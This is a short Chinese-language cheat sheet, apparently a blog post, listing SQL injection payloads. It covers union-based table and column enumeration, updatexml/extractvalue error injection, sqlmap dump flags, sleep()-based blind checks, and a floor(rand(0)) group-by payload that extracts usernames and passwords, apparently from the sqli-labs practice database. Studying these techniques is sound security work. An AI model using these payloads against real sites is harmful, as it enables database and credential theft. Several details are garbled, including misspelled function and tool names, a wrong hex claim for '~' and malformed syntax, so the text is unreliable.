sql注入(各种注入方法概括)

注入类漏洞—>数据变代码

1、如何判断漏洞 2、如何构造代码

方法一:联合查询

group_concat()组连接

查询表名 并爆出所有的表名

select group_concat(table_name) from information_schema.tables where table_schema=‘库名’

查询列名 并爆出所有的列名

select group_concat(column_name) from information_shcema.columns where table_schema=‘库名’ and table_name=‘表名’

爆出username和password 0x3a表示:

select group_concat(username,0x3a,password) from users

方法二:报错注入

0x73是 ~

俩个报错函数:

updatexml() 三个参数

爆数据库:

and updatexml(1,concat(0x7e,(database()),0x7e),1)

extractvale() 俩个参数 目标xml文档 xml路径

爆数据库名:

extractvalue(null,concat(0x7e,(database()),0x7e))

sqlnamp注入

后加 - - dbs 查询数据库名

后加 -D 库名 – tables 查询表

后加 -T 表名 – columns 查询列

后加 -T 表名 -C “列名,列名” --dump

use outfile select xxxx from into outfile e:路径

方法三:时间盲注

布尔盲注 延迟盲注 判断闭合:  ’ and if(1=0,1, sleep(10)) --+

" and if(1=0,1, sleep(10)) --+

) and if(1=0,1, sleep(10)) --+

) and if(1=0,1, sleep(10)) --+

") and if(1=0,1, sleep(10)) --+ 猜数据库长度: if(length(database())=1,sleep(3),0) if(ascii(substr(database(),1,1))=115,sleep(3),0)

group by报错注入

count()函数 返回指定列的值的数目 统计

rand()函数 用于产生一个0-1之间的随机数

floor()函数 向下取整

floor(rand() * 2):rand() * 2函数生成0-2之间的数,使用floor()函数向下去取整,得到的值就是不固定的0,1

floor(rand(0) *2):rand(0) *2函数生成0-2之间的数,使用floor()函数向下取整,但是得到的值(前6位包括第六位是固定的)011011

ceil()函数 向上取整

*1’ and (select 1 from (select count(*),concat((select concat(username,0x3a,password)from security.users limit 0,1),floor(rand(0)2))as x from information_schema.tables group by x)a)#

经验分享 程序员 微信小程序 职场和发展